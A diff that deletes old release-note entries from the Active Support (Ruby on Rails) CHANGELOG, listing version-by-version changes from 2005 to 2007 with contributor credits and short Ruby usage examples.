-* Date#to_datetime, #to_s(:rfc822).  #8512 [Geoff Buesing]
-
-* Time durations use since instead of + for accuracy.  #8513 [Geoff Buesing]
-
-* escape <'s and >'s in JSON strings. #8371 [Rick Olson]
-
-* Inflections: MatrixTest -> MatrixTests instead of MatricesTest.  #8496 [jbwiv]
-
-* Multibyte strings respond_to the String methods they proxy so they can be duck-typed.  #6549 [Tuxie]
-
-* Array#to_xml yields the builder just like Hash and ActiveRecord::Base.  #8472 [seth]
-
-* Date, Time, and DateTime support formatting blocks in addition to strftime strings. Introduce :long_ordinal format, e.g. "February 21st, 2005".  #8191 [Coda Hale]
-
-* Document Object#blank?.  #6491 [Chris Mear]
-
-* Date, Time, and DateTime#to_json.  #8399 [wycats]
-
-* Simplify API of assert_difference by passing in an expression that is evaluated before and after the passed in block. See documenation for examples of new API. [Marcel Molina Jr.]
-
-* Added assert_difference and assert_no_difference to test/unit assertions [Tobias Lütke]
-
-* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [David Heinemeier Hansson]
-
-* Added parsing of file type in Hash.xml_in so you can easily do file uploads with base64 from an API [David Heinemeier Hansson]
-
-    <person>
-      <name>David</name>
-      <avatar type="file" name="me.jpg" content_type="image/jpg">R0lGODlhkACZAPUAAM5lcfjrtMQCG=\n</avatar>
-    </person>
-  
-  ...becomes:
-  
-    attributes = { :person => { :name => "David", :avatar => #<StringIO> } }
-    attributes[:person][:avatar].content_type      # => "image/jpg"
-    attributes[:person][:avatar].original_filename # => "me.jpg"
-    attributes[:person][:avatar].read # => binary data of the file
-  
-  Which is duck-type compatible with the files that you get when doing multipart uploads through HTML.
-
-* Improved multibyte performance by relying less on exception raising #8159 [Blaine]
-
-* Use XSD-compatible type names for Hash#to_xml and make the converters extendable #8047 [Tim Pope]
-
-* Added yielding of builder in Hash#to_xml [David Heinemeier Hansson]
-
-* Hash#with_indifferent_access now also converts hashes kept in arrays to indifferent access (makes it easier to treat HTML and XML parameters the same) [David Heinemeier Hansson]
-
-* Hash#to_xml supports YAML attributes.  #7502 [jonathan]
-
-* Refactor ActiveSupport::JSON to be less obtuse.  Add support for JSON decoding by way of Syck with ActiveSupport::JSON.decode(json_string).  Prevent hash keys that are JavaScript reserved words from being unquoted during encoding.  [Sam Stephenson]
-
-* alias_method_chain preserves the original method's visibility.  #7854 [Jonathan Viney]
-
-* Update Dependencies to ignore constants inherited from ancestors. Closes #6951. [Nicholas Seckar]
-
-* Array#to_query preserves its ordering.  #7756 [Greg Spurrier]
-
-* Out-of-range Time calculations transparently overflow to DateTime. Introduce Time#to_datetime.  #7706, #7715 [Geoff Buesing]
-
-* DateTime calculations analogous to the Date and Time extensions.  #7693 [Geoff Buesing]
-
-* Give DateTime correct .to_s implementations, lets it play nice with ActiveRecord quoting.  #7649 [Geoff Buesing]
-
-* Add File.atomic_write,  allows you to write large files in an atomic manner, preventing users from seeing half written files.  [Michael Koziarski]
-
-* Allow users to provide custom formatters to Logger. [Anthony Eden]
-
-* Hash#to_query CGI-escapes its keys.  [Jeremy Kemper]
-
-* Optimize Class Inheritable Attributes so that unnecessary hashes are not created.  Closes #7472 [Bruce Perens]
-
-* :db format for Date#to_s [Jeremy Kemper]
-    Date.new(2007, 1, 27).to_s(:db) # => '2007-01-27'
-
-* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer.  [Rick Olson]
-
-* Added Hash#to_query to turn a hash of values into a form-encoded query string [Nicholas Seckar]
-
-* Increase test coverage for subclasses_of. Closes #7335. [Roman2K, Nicholas Seckar]
-
-* Remove unused code from Duration#inspect.  Closes #7180.  [Rich Collins]
-
-* Added test coverage for Inflector.inflections.clear.  Closes #7179. [Rich Collins]
-
-* ActiveSupport::Multibyte::Handlers::UTF8Handler should raise when a range and an integer are passed in (just like the native implementation).  Closes #7176 [Rich Collins]
-
-* A couple extra tests for #classify.  Closes #7273. [Josh Susser]
-
-* Better docs for Object extensions [zackchandler, Jamis Buck]
-
-* Fix that Dates couldn't be subtracted from Dates after [5940].  [Sam Stephenson]
-
-* Add Object#acts_like? and Time#acts_like_time? and Date#acts_like_date? to facilitate duck-typing. [Jamis Buck]
-
-* Make 1.months and friends accurate by introducing a Duration class.  #6835 [eventualbuddha]
-
-
-*1.4.2* (March 12th, 2007)
-
-* Ruby 1.8.6 and 1.9 define private Time#to_date and #to_datetime; make them
-public for compatibility.  [Jeremy Kemper]
-
-* Deprecation: warn on stderr if RAILS_DEFAULT_LOGGER isn't set yet.  [Jeremy Kemper]
-
-
-*1.4.1* (February 5th, 2007)
-
-* Optimize Class Inheritable Attributes so that unnecessary hashes are not created.  Closes #7472 [Bruce Perens]
-
-* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer.  [Rick Olson]
-
-* Full test coverage for Inflector.  #7228 [Dan Kubb]
-
-
-*1.4.0* (January 16th, 2007)
-
-* Document Inflector.ordinalize and merge docs from String inflections.  #7023 [smeade]
-
-* Unbundle flexmock.  [Jeremy Kemper]
-
-* Fix Dependencies.autoloaded? to ignore anonymous modules. Closes #6561. [Nicholas Seckar]
-
-* Update load once paths to prevent nested once constants from being detected and claimed by an external non-once load. [Nicholas Seckar]
-
-* Deprecation: silence warnings when reporting test errors.  [Jeremy Kemper]
-
-* Hash#slice(*keys) returns a new hash with only the given keys. #slice! replaces the hash with only the given keys. Works with HashWithIndifferentAccess also.  [Jeremy Kemper]
-
-* HashWithIndifferentAccess#to_hash converts to a Hash with String keys and the same default value.  [Jeremy Kemper]
-
-* Fix remove_constant to correctly handle constant names of the form "::A::...". References #6720. [Nicholas Seckar]
-
-* Fixed Array#to_xml when it contains a series of hashes (each piece would get its own XML declaration) #6610 [thkarcher/cyu]
-
-* Added Time#to_s(:time) which will just return H:M, like 17:44 [David Heinemeier Hansson]
-
-* Add Module#attr_accessor_with_default to initialize value of attribute before setting it. Closes #6538. [Stuart Halloway, Marcel Molina Jr.]
-
-* Hash#to_xml handles keys with the same name as Kernel methods.  #6613 [Jonathan del Strother]
-
-* Added Time#end_of_day to get 23:59:59 of that day [David Heinemeier Hansson]
-
-* Don't quote hash keys in Hash#to_json if they're valid JavaScript identifiers.  Disable this with ActiveSupport::JSON.unquote_hash_key_identifiers = false if you need strict JSON compliance. [Sam Stephenson]
-
-* Lazily load the Unicode Database in the UTF-8 Handler [Rick Olson]
-
-* Update dependencies to delete partially loaded constants. [Nicholas Seckar]
-
-* Fix unicode JSON regexp for Onigurama compatibility.  #6494 [whitley]
-
-* update XmlSimple to 1.0.10. Closes #6532. [Nick Sieger]
-
-* Update dependencies to allow constants to be defined alongside their siblings. A common case for this is AR model classes with STI; user.rb might define User, Administrator and Guest for example. [Nicholas Seckar]
-
-* next_week respects DST changes.  #6483, #5617, #2353, #2509, #4551 [marclove, Rob Biedenharn, rails@roetzel.de, jsolson@damogran.org, drbrain@segment7.net]
-
-* Expose methods added to Enumerable in the documentation, such as group_by. Closes #6170. [sergeykojin@gmail.com, Marcel Molina Jr.]
-
-* Ensure Chars#tidy_bytes only tidies broken bytes. Closes #6397 [Manfred Stienstra]
-
-* Add 'unloadable', a method used to mark any constant as requiring an unload after each request. [Nicholas Seckar]
-
-* Make core_ext/string/access.rb multibyte safe. Closes #6388 [Manfred Stienstra]
-
-* Make String#chars slicing behaviour consistent with String. Closes #6387 [Manfred Stienstra]
-
-* Pull in latest multibyte patch. Closes #6346 [Manfred Stienstra]
-
-* Add ActiveSupport::Multibyte.  Provides String#chars which lets you deal with strings as a sequence of chars, not of bytes. Closes #6242 [Julian Tarkhanov, Manfred Stienstra, Thijs van der Vossen & Jan Behrens]
-
-* Fix issue with #class_inheritable_accessor saving updates to the parent class when initialized with an Array or Hash [mojombo]
-
-* Hash#to_xml supports Bignum and BigDecimal.  #6313 [edibiase]
-
-* Don't undefine #class in OptionMerger [Rick Olson]
-
-* Hash.create_from_xml has been renamed to Hash.from_xml, alias will exist until Rails 2.0 [David Heinemeier Hansson]
-
-* alias_method_chain works with accessor= methods also.  #6153 [Caio Chassot]
-
-* Fix loadable_constants_for_path to handle load paths that do not end with a slash. [Nicholas Seckar]
-
-* Fix logic error in determining what was loaded by a given file. Closes #6039. [Nicholas Seckar]
-
-* Equate Kernel.const_missing with Object.const_missing. Fixes #5988. [Nicholas Seckar]
-
-* Add ApplicationController special case to Dependencies. [Nicholas Seckar]
-
-* Don't pad remaining places with in_groups_of if specified padding value is false. [Marcel Molina Jr.]
-
-* Fix cases where empty xml nodes weren't being translated to nil in Hash.create_from_xml [Rick Olso n]
-
-  <written-on type="date"></written-on> # => { :type => 'date' } # WRONG
-  <written-on type="date"></written-on> # => nil # RIGHT
-
-* Tighten rescue clauses.  #5985 [james@grayproductions.net]
-
-* Inflections: don't singularize -ies plurals.  [foamdino@gmail.com, Mark Van Holstyn]
-
-* Update Initializer to use load_once_paths to avoid plugin reloading. References #5852. [Nicholas Seckar]
-
-* Use Array#assoc in ActiveSupport::OrderedHash. [Mauricio Fernandez]
-
-* Greatly increased performance of String.to_json, which speeds up RJS considerably on large pages, fixes #3473 [Shugo Maeda]
-
-* Detect missing_constants calls from removed modules and fail accordingly. [Nicholas Seckar]
-
-* Stop using defined? in Dependencies.qualified_const_defined? since defined? may invoke const_missing. [Nicholas Seckar]
-
-* Dependencies can autoload directories of nested classes. [Jeremy Kemper]
-    Example:
-      invoice.rb            class Invoice
-      invoice/lineitem.rb   class Invoice::Lineitem
-
-* Add Deprecation.silence so that Reloadable does not scold itself. [Nicholas Seckar]
-
-* Add debugging logging to Dependencies. Currently can be enabled with Dependencies.log_activity = true; adding to Initializer and documenting is forthcoming. [Nicholas Seckar]
-
-* Replace Reloadable with improvements to the Dependencies mechanism. [Nicholas Seckar]
-
-* DateTime#to_time gives hour/minute/second resolution.  #5747 [jon.evans@pobox.com]
-
-* attr_internal to support namespacing and deprecation. Like attr_* except backed by internally-named instance variable. Set attr_internal_naming_format to change the format from the default '@_%s'. [Jeremy Kemper]
-    # def foo()   @foo__rofl      end
-    # def foo=(v) @foo__rofl = v  end
-    self.attr_internal_naming_format = '@%s__rofl'
-    attr_internal :foo
-
-* Raise fully qualified names upon name errors. #5533 [Lars Pind, Nicholas Seckar]
-
-* Add extention to obtain the missing constant from NameError instances. [Nicholas Seckar]
-
-* Thoroughly document inflections.  #5700 [petermichaux@gmail.com]
-
-* Added Module#alias_attribute [Jamis/David Heinemeier Hansson]. Example:
-
-    class Content < ActiveRecord::Base
-      # has a title attribute
-    end
- 
-    class Email < ActiveRecord::Base
-      alias_attribute :subject, :title
-    end
- 
-    e = Email.find(1)
-    e.title    # => "Superstars"
-    e.subject  # => "Superstars"
-    e.subject? # => true
-    e.subject = "Megastars"
-    e.title    # => "Megastars"
-
-* Deprecation: easier to work with warning behavior as procs; default behaviors for each environment so users needn't update env.rb; and testing pleasure with assert_deprecated, assert_not_deprecated. [Jeremy Kemper]
-  By default, test prints to $stderr, dev logs, production ignores.
-  Provide your own per-environment in e.g. config/environments/development.rb:
-    ActiveSupport::Deprecation.behavior = Proc.new { |message| raise message }
-
-* First cut of the Rails Deprecation system.   [Michael Koziarski]
-
-* Strip boolean XML content before checking for 'true' [Rick Olson]
-
-* Customize default BigDecimal formatting. References #5672 [Dave Thomas]
-
-* Correctly convert <foo nil="true"> to nil when using Hash.create_from_xml.  [Rick Olson]
-
-* Optional identity for Enumerable#sum defaults to zero. #5657 [gensym@mac.com]
-
-* HashWithIndifferentAccess shouldn't confuse false and nil. #5601 [Shugo Maeda]
-
-* Fixed HashWithIndifferentAccess#default #5586 [chris@seagul.co.uk]
-
-* More compatible Hash.create_from_xml. #5523 [nunemaker@gmail.com]
-
-* Added Enumerable#sum for calculating a sum from the elements [David Heinemeier Hansson, jonathan@daikini.com]. Examples:
-
-    [1, 2, 3].sum
-    payments.sum { |p| p.price * p.tax_rate }
-    payments.sum(&:price)
-
-  This is instead of payments.inject(0) { |sum, p| sum + p.price }
-
-* Correct and clarify Array#to_sentence docs.  #5458 [brad@madriska.com]
-
-* alias_method_chain preserves method punctuation so foo, foo?, and foo! may be chained with the same feature. [Jeremy Kemper]
-    Example:
-      alias_method_chain :save!, :validation
-    is equivalent to
-      alias_method :save_without_validation!, :save!
-      alias_method :save!, :save_with_validation!
-
-* Enhance Symbol#to_proc so it works with list objects, such as multi-dimensional arrays. Closes #5295 [nov@yo.rim.or.jp].  Example:
-
-    {1 => "one", 2 => "two", 3 => "three"}.sort_by(&:first).map(&:last)
-    #=> ["one", "two", "three"]
-
-* Added Hash.create_from_xml(string) which will create a hash from a XML string and even typecast if possible [David Heinemeier Hansson]. Example:
-
-    Hash.create_from_xml <<-EOT
-      <note>
-        <title>This is a note</title>
-        <created-at type="date">2004-10-10</created-at>
-      </note>
-    EOT
-  
-  ...would return:
-  
-    { :note => { :title => "This is a note", :created_at => Date.new(2004, 10, 10) } }
-
-* Added Jim Weirich's excellent FlexMock class to vendor (Copyright 2003, 2004 by Jim Weirich (jim@weriichhouse.org)) -- it's not automatically required, though, so require 'flexmock' is still necessary [David Heinemeier Hansson]
-
-* Fixed that Module#alias_method_chain should work with both foo? foo! and foo at the same time #4954 [anna@wota.jp]
-
-* to_xml fixes, features, and speedup: introduce :dasherize option that converts updated_at to updated-at if true (the existing default); binary columns get encoding="base64" attribute; nil values get nil="true" attribute to distinguish empty values; add type information for float columns; allow arbitrarily deep :include; include SQL type information as the type attribute.  #4989 [Blair Zajac <blair@orcaware.com>]
-
-* Add OrderedHash#values. [Sam Stephenson]
-
-* Added Array#to_s(:db) that'll produce a comma-separated list of ids [David Heinemeier Hansson]. Example:
-    
-    Purchase.find(:all, :conditions => "product_id IN (#{shops.products.to_s(:db)})"
-
-* Normalize classify's argument to a String so that it plays nice with Symbols. [Marcel Molina Jr.] 
-
-* Strip out leading schema name in classify. References #5139. [Michael Schoen]
-
-* Remove Enumerable#first_match since break(value) handles the use case well enough. [Nicholas Seckar]
-
-  Enumerable#first_match was like detect, but instead of returning the matching element, the yielded value returned. For example:
-  
-    user_xml = adapters(:from => User, :to => Xml).first_match do |adapter|
-      adapter.adapt @user
-    end
-  
-  But this is just as easily done with:
-  
-    user_xml = adapters(:from => User, :to => Xml).each do
-      break adapter.adapt(@user)
-    end
-  
-* Make Array#in_groups_of just return the grouped collection if a block isn't given. [Marcel Molina Jr.] 
-
-* Don't destroy a HashWithIndifferentAccess if symbolize_keys! or  stringify_keys! is called on it. Closes #5076. [Marcel Molina Jr., guy.naor@famundo.com]
-
-* Document Module::delegate. #5002 [pergesu@gmail.com]
-
-* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.]
-
-* Strip out punctuation on predicates or bang methods being aliased with alias_method_chain since target?_without_feature is not a valid method name. Add tests for Module#alias_method_chain. [Marcel Molina Jr.]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Allow default options in with_options to be overridden. Closes #4480. [murphy@cYcnus.de] 
-
-* Added Module#alias_method_chain [Jamis Buck]
-
-* Updated to Builder 2.0 [David Heinemeier Hansson]
-
-* Add Array#split for dividing arrays into one or more subarrays by value or block. [Sam Stephenson]
-
-*1.3.1* (April 6th, 2006)
-
-* Clean paths inside of exception messages and traces. [Nicholas Seckar]
-
-* Add Pathname.clean_within for cleaning all the paths inside of a string. [Nicholas Seckar]
-
-* provide an empty Dependencies::LoadingModule.load which prints deprecation warnings.  Lets 1.0 applications function with .13-style environment.rb.
-
-
-*1.3.0* (March 27th, 2006)
-
-* When possible, avoid incorrectly obtaining constants from parent modules. Fixes #4221. [Nicholas Seckar]
-
-* Add more tests for dependencies; refactor existing cases. [Nicholas Seckar]
-
-* Move Module#parent and Module#as_load_path into core_ext. Add Module#parent. [Nicholas Seckar]
-
-* Add CachingTools::HashCaching to simplify the creation of nested, autofilling hashes. [Nicholas Seckar]
-
-* Remove a hack intended to avoid unloading the same class twice, but which would not work anyways. [Nicholas Seckar]
-
-* Update Object.subclasses_of to locate nested classes. This affects Object.remove_subclasses_of in that nested classes will now be unloaded. [Nicholas Seckar]
-
-* Update Object.remove_subclasses_of to use Class.remove_class, reducing duplication. [Nicholas Seckar]
-
-* Added Fixnum#seconds for consistency, so you can say 5.minutes + 30.seconds instead of 5.minutes + 30 #4389 [François Beausoleil]
-
-* Added option to String#camelize to generate lower-cased camel case by passing in :lower, like "super_man".camelize(:lower) # => "superMan" [David Heinemeier Hansson]
-
-* Added Hash#diff to show the difference between two hashes [Chris McGrath]
-
-* Added Time#advance to do precise time time calculations for cases where a month being approximated to 30 days won't do #1860 [Rick Olson]
-
-* Enhance Inflector.underscore to convert '-' into '_' (as the inverse of Inflector.dasherize) [Jamis Buck]
-
-* Switched to_xml to use the xml schema format for datetimes.  This allows the encoding of time zones and should improve operability. [Michael Koziarski]
-
-* Added a note to the documentation for the Date related Numeric extensions to indicate that they're
-approximations and shouldn't be used for critical calculations. [Michael Koziarski]
-
-* Added Hash#to_xml and Array#to_xml that makes it much easier to produce XML from basic structures [David Heinemeier Hansson]. Examples:
-
-    { :name => "David", :street_name => "Paulina", :age => 26, :moved_on => Date.new(2005, 11, 15) }.to_xml
-    
-  ...returns:
-
-      <person>
-        <street-name>Paulina</street-name>
-        <name>David</name>
-        <age type="integer">26</age>
-        <moved-on type="date">2005-11-15</moved-on>
-      </person>
-
-* Moved Jim Weirich's wonderful Builder from Action Pack to Active Support (it's simply too useful to be stuck in AP) [David Heinemeier Hansson]
-
-* Fixed that Array#to_sentence will return "" on an empty array instead of ", and" #3842, #4031 [rubyonrails@beautifulpixel.com]
-
-* Add Enumerable#group_by for grouping collections based on the result of some
-  block. Useful, for example, for grouping records by date.
-
-  ex.
-
-     latest_transcripts.group_by(&:day).each do |day, transcripts| 
-       p "#{day} -> #{transcripts.map(&:class) * ', '}"
-     end
-     "2006-03-01 -> Transcript"
-     "2006-02-28 -> Transcript"
-     "2006-02-27 -> Transcript, Transcript"
-     "2006-02-26 -> Transcript, Transcript"
-
-  Add Array#in_groups_of, for iterating over an array in groups of a certain
-  size.
-
-  ex.
-
-     %w(1 2 3 4 5 6 7).in_groups_of(3) {|g| p g}
-     ["1", "2", "3"]
-     ["4", "5", "6"]
-     ["7", nil, nil]
-
-  [Marcel Molina Jr., Sam Stephenson]
-
-* Added Kernel#daemonize to turn the current process into a daemon that can be killed with a TERM signal [David Heinemeier Hansson]
-
-* Add 'around' methods to Logger,  to make it easy to log before and after messages for a given block as requested in #3809. [Michael Koziarski]  Example:
-
-  logger.around_info("Start rendering component (#{options.inspect}): ", 
-                     "\n\nEnd of component rendering") { yield }
-
-* Added Time#beginning_of_quarter #3607 [cohen.jeff@gmail.com]
-
-* Fix Object.subclasses_of to only return currently defined objects [Jonathan Viney <jonathan@bluewire.net.nz>]
-
-* Fix constantize to properly handle names beginning with '::'. [Nicholas Seckar]
-
-* Make String#last return the string instead of nil when it is shorter than the limit [Scott Barron].
-
-* Added delegation support to Module that allows multiple delegations at once (unlike Forwardable in the stdlib) [David Heinemeier Hansson]. Example:
-
-    class Account < ActiveRecord::Base
-      has_one :subscription
-      delegate :free?, :paying?, :to => :subscription
-      delegate :overdue?, :to => "subscription.last_payment"
-    end
-    
-    account.free?    # => account.subscription.free?
-    account.overdue? # => account.subscription.last_payment.overdue?
-
-* Fix Reloadable to handle the case where a class that has been 'removed' has not yet been garbage collected. [Nicholas Seckar]
-
-* Don't allow Reloadable to be included into Modules.
-
-* Remove LoadingModule. [Nicholas Seckar]
-
-* Add documentation for Reloadable::Subclasses. [Nicholas Seckar]
-
-* Add Reloadable::Subclasses which handles the common case where a base class should not be reloaded, but its subclasses should be. [Nicholas Seckar]
-
-* Further improvements to reloading code [Nicholas Seckar, Trevor Squires]
-  
-  - All classes/modules which include Reloadable can define reloadable? for fine grained control of reloading
-  - Class.remove_class uses Module#parent to access the parent module
-  - Class.remove_class expanded to handle multiple classes in a single call
-  - LoadingModule.clear! has been removed as it is no longer required
-  - Module#remove_classes_including has been removed in favor of Reloadable.reloadable_classes
-
-* Added reusable reloading support through the inclusion of the Relodable module that all subclasses of ActiveRecord::Base, ActiveRecord::Observer, ActiveController::Base, and ActionMailer::Base automatically gets. This means that these classes will be reloaded by the dispatcher when Dependencies.mechanism = :load. You can make your own models reloadable easily:
-
-    class Setting
-      include Reloadable
-    end
-  
-  Reloading a class is done by removing its constant which will cause it to be loaded again on the next reference. [David Heinemeier Hansson]
-
-* Added auto-loading support for classes in modules, so Conductor::Migration will look for conductor/migration.rb and Conductor::Database::Settings will look for conductor/database/settings.rb [Nicholas Seckar]
-
-* Add Object#instance_exec, like instance_eval but passes its arguments to the block.  (Active Support will not override the Ruby 1.9 implementation of this method.) [Sam Stephenson]
-
-* Add Proc#bind(object) for changing a proc or block's self by returning a Method bound to the given object. Based on why the lucky stiff's "cloaker" method. [Sam Stephenson]
-
-* Fix merge and dup for hashes with indifferent access #3404 [Ken Miller]
-
-* Fix the requires in option_merger_test to unbreak AS tests. [Sam Stephenson]
-
-* Make HashWithIndifferentAccess#update behave like Hash#update by returning the hash. #3419, #3425 [asnem@student.ethz.ch, JanPrill@blauton.de, Marcel Molina Jr.]
-
-* Add ActiveSupport::JSON and Object#to_json for converting Ruby objects to JSON strings. [Sam Stephenson]
-
-* Add Object#with_options for DRYing up multiple calls to methods having shared options. [Sam Stephenson]  Example:
-
-  ActionController::Routing::Routes.draw do |map|
-    # Account routes
-    map.with_options(:controller => 'account') do |account|
-      account.home   '',       :action => 'dashboard'
-      account.signup 'signup', :action => 'new'
-      account.logout 'logout', :action => 'logout'
-    end
-  end
-
-* Introduce Dependencies.warnings_on_first_load setting.  If true, enables warnings on first load of a require_dependency.  Otherwise, loads without warnings.  Disabled (set to false) by default.  [Jeremy Kemper]
-
-* Active Support is warnings-safe.  #1792 [Eric Hodel]
-
-* Introduce enable_warnings counterpart to silence_warnings.  Turn warnings on when loading a file for the first time if Dependencies.mechanism == :load.  Common mistakes such as redefined methods will print warnings to stderr.  [Jeremy Kemper]
-
-* Add Symbol#to_proc, which allows for, e.g. [:foo, :bar].map(&:to_s). [Marcel Molina Jr.]
-
-* Added the following methods [Marcel Molina Jr., Sam Stephenson]:
-  * Object#copy_instance_variables_from(object) to copy instance variables from one object to another 
-  * Object#extended_by to get an instance's included/extended modules
-  * Object#extend_with_included_modules_from(object) to extend an instance with the modules from another instance
-
-*1.2.5* (December 13th, 2005)
-
-* Become part of Rails 1.0
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-*1.2.3* (November 7th, 2005)
-
-* Change Inflector#constantize to use eval instead of const_get. [Nicholas Seckar]
-
-* Fix const_missing handler to ignore the trailing '.rb' on files when comparing paths. [Nicholas Seckar]
-
-* Define kernel.rb methods in "class Object" instead of "module Kernel" to work around a Windows peculiarity [Sam Stephenson]
-
-* Fix broken tests caused by incomplete loading of active support. [Nicholas Seckar]
-
-* Fix status pluralization bug so status_codes doesn't get pluralized as statuses_code.  #2758 [keithm@infused.org]
-
-* Added Kernel#silence_stderr to silence stderr for the duration of the given block [Sam Stephenson]
-
-* Changed Kernel#` to print a message to stderr (like Unix) instead of raising Errno::ENOENT on Win32 [Sam Stephenson]
-
-* Changed 0.blank? to false rather than true since it violates everyone's expectation of blankness.  #2518, #2705 [rails@jeffcole.net]
-
-* When loading classes using const_missing, raise a NameError if and only if the file we tried to load was not present. [Nicholas Seckar]
-
-* Added petabytes and exebytes to numeric extensions #2397 [timct@mac.com]
-
-* Added Time#end_of_month to accompany Time#beginning_of_month #2514 [Jens-Christian Fischer]
-
-
-*1.2.2* (October 26th, 2005)
-
-* Set Logger.silencer = false to disable Logger#silence.  Useful for debugging fixtures.
-
-* Add title case method to String to do, e.g., 'action_web_service'.titlecase #  => 'Action Web Service'. [Marcel Molina Jr.]
-
-
-*1.2.1* (October 19th, 2005)
-
-* Classify generated routing code as framework code to avoid appearing in application traces. [Nicholas Seckar]
-
-* Show all framework frames in the framework trace. [Nicholas Seckar]
-
-
-*1.2.0* (October 16th, 2005)
-
-* Update Exception extension to show the first few framework frames in an application trace. [Nicholas Seckar] 
-
-* Added Exception extension to provide support for clean backtraces. [Nicholas Seckar]
-
-* Updated whiny nil to be more concise and useful. [Nicholas Seckar]
-
-* Added Enumerable#first_match [Nicholas Seckar]
-
-* Fixed that Time#change should also reset usec when also resetting minutes #2459 [ikeda@dream.big.or.jp]
-
-* Fix Logger compatibility for distributions that don't keep Ruby and its standard library in sync.
-
-* Replace '%e' from long and short time formats as Windows does not support it. #2344. [Tom Ward <tom@popdog.net>]
-
-* Added to_s(:db) to Range, so you can get "BETWEEN '2005-12-10' AND '2005-12-12'" from Date.new(2005, 12, 10)..Date.new(2005, 12, 12) (and likewise with Times)
-
-* Moved require_library_or_gem into Kernel. #1992 [Michael Schuerig <michael@schuerig.de>]
-
-* Add :rfc822 as an option for Time#to_s (to get rfc822-formatted times)
-
-* Chain the const_missing hook to any previously existing hook so rails can play nicely with rake
-
-* Clean logger is compatible with both 1.8.2 and 1.8.3 Logger.  #2263 [Michael Schuerig <michael@schuerig.de>]
-
-* Added native, faster implementations of .blank? for the core types #2286 [skae]
-
-* Fixed clean logger to work with Ruby 1.8.3 Logger class #2245
-
-* Fixed memory leak with Active Record classes when Dependencies.mechanism = :load #1704 [Chris McGrath]
-
-* Fixed Inflector.underscore for use with acronyms, so HTML becomes html instead of htm_l #2173 [k@v2studio.com]
-
-* Fixed dependencies related infinite recursion bug when a controller file does not contain a controller class. Closes #1760. [rcolli2@tampabay.rr.com]
-
-* Fixed inflections for status, quiz, move #2056 [deirdre@deirdre.net]
-
-* Added Hash#reverse_merge, Hash#reverse_merge!, and Hash#reverse_update to ease the use of default options
-
-* Added Array#to_sentence that'll turn ['one', 'two', 'three'] into "one, two, and three" #2157 [Manfred Stienstra]
-
-* Added Kernel#silence_warnings to turn off warnings temporarily for the passed block
-
-* Added String#starts_with? and String#ends_with? #2118 [Thijs van der Vossen]
-
-* Added easy extendability to the inflector through Inflector.inflections (using the Inflector::Inflections singleton class). Examples:
-
-    Inflector.inflections do |inflect|
-      inflect.plural /^(ox)$/i, '\1\2en'
-      inflect.singular /^(ox)en/i, '\1'
-    
-      inflect.irregular 'octopus', 'octopi'
-    
-      inflect.uncountable "equipment"
-    end
-
-* Added String#at, String#from, String#to, String#first, String#last in ActiveSupport::CoreExtensions::String::Access to ease access to individual characters and substrings in a string serving basically as human names for range access.
-
-* Make Time#last_month work when invoked on the 31st of a month.
-
-* Add Time.days_in_month, and make Time#next_month work when invoked on the 31st of a month
-
-* Fixed that Time#midnight would have a non-zero usec on some platforms #1836
-
-* Fixed inflections of "index/indices" #1766 [damn_pepe@gmail.com]
-
-* Added stripping of _id to String#humanize, so "employee_id" becomes "Employee" #1574 [Justin French]
-
-* Factor Fixnum and Bignum extensions into Integer extensions [Nicholas Seckar]
-
-* Hooked #ordinalize into Fixnum and Bignum classes. [Nicholas Seckar, danp]
-
-* Added Fixnum#ordinalize to turn 1.ordinalize to "1st", 3.ordinalize to "3rd", and 10.ordinalize to "10th" and so on #1724 [paul@cnt.org]
-
-
-*1.1.1* (11 July, 2005)
-
-* Added more efficient implementation of the development mode reset of classes #1638 [Chris McGrath]
-
-
-*1.1.0* (6 July, 2005)
-
-* Fixed conflict with Glue gem #1606 [Rick Olson]
-
-* Added new rules to the Inflector to deal with more unusual plurals mouse/louse => mice/lice, information => information, ox => oxen, virus => viri, archive => archives #1571, #1583, #1490, #1599, #1608 [foamdino@gmail.com/others]
-
-* Fixed memory leak with Object#remove_subclasses_of, which inflicted a Rails application running in development mode with a ~20KB leak per request #1289 [Chris McGrath]
-
-* Made 1.year == 365.25.days to account for leap years.  This allows you to do User.find(:all, :conditions => ['birthday > ?', 50.years.ago]) without losing a lot of days.  #1488 [tuxie@dekadance.se]
-
-* Added an exception if calling id on nil to WhinyNil #584 [kevin-temp@writesoon.com]
-
-* Added Fix/Bignum#multiple_of? which returns true on 14.multiple_of?(7) and false on 16.multiple_of?(7) #1464 [Thomas Fuchs]
-
-* Added even? and odd? to work with Bignums in addition to Fixnums #1464 [Thomas Fuchs]
-
-* Fixed Time#at_beginning_of_week returned the next Monday instead of the previous one when called on a Sunday #1403 [jean.helou@gmail.com]
-
-* Increased the speed of indifferent hash access by using Hash#default.  #1436 [Nicholas Seckar]
-
-* Added that "   " is now also blank? (using strip if available)
-
-* Fixed Dependencies so all modules are able to load missing constants #1173 [Nicholas Seckar]
-
-* Fixed the Inflector to underscore strings containing numbers, so Area51Controller becomes area51_controller #1176 [Nicholas Seckar]
-
-* Fixed that HashWithIndifferentAccess stringified all keys including symbols, ints, objects, and arrays #1162 [Nicholas Seckar]
-
-* Fixed Time#last_year to go back in time, not forward #1278 [fabien@odilat.com]
-
-* Fixed the pluralization of analysis to analyses #1295 [seattle@rootimage.msu.edu]
-
-* Fixed that Time.local(2005,12).months_since(1) would raise "ArgumentError: argument out of range" #1311 [jhahn@niveon.com]
-
-* Added silencing to the default Logger class
-
-
-*1.0.4* (19th April, 2005)
-
-* Fixed that in some circumstances controllers outside of modules may have hidden ones inside modules. For example, admin/content might have been hidden by /content. #1075 [Nicholas Seckar]
-
-* Fixed inflection of perspectives and similar words #1045 [Thijs van der Vossen]
-
-* Added Fixnum#even? and Fixnum#odd?
-
-* Fixed problem with classes being required twice. Object#const_missing now uses require_dependency to load files. It used to use require_or_load which would cause models to be loaded twice, which was not good for validations and other class methods #971 [Nicholas Seckar]
-
-
-*1.0.3* (27th March, 2005)
-
-* Fixed Inflector.pluralize to handle capitalized words #932 [Jeremy Kemper]
-
